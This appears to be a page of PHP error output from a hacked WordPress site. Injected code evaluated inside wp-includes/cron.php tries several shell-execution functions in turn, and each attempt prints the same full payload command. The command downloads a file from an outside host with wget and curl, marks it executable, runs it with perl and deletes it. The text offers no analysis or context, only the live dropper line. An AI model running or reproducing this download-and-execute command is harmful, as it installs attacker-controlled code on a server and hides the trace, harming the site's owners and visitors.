Warning: exec(): Unable to fork [wget -O /tmp/doc http://mktg.ro/feed/doc;curl -o /tmp/doc http://mktg.ro/feed/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc] in /wp-includes/cron.php(1) : eval()'d code on line 3

Warning: shell_exec(): Unable to execute 'wget -O /tmp/doc http://mktg.ro/feed/doc;curl -o /tmp/doc http://mktg.ro/feed/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc' in /wp-includes/cron.php(1) : eval()'d code on line 4

Warning: system(): Unable to fork [wget -O /tmp/doc http://mktg.ro/feed/doc;curl -o /tmp/doc http://mktg.ro/feed/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc] in /wp-includes/cron.php(1) : eval()'d code on line 5

Warning: passthru(): Unable to fork [wget -O /tmp/doc http://mktg.ro/feed/doc;curl -o /tmp/doc http://mktg.ro/feed/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc] in /wp-includes/cron.php(1) : eval()'d code on line 6

Warning: popen() expects exactly 2 parameters, 1 given in /wp-includes/cron.php(1) : eval()'d code on line 7

Fatal error: Call to undefined function pcntl_exec() in /wp-includes/cron.php(1) : eval()'d code on line 8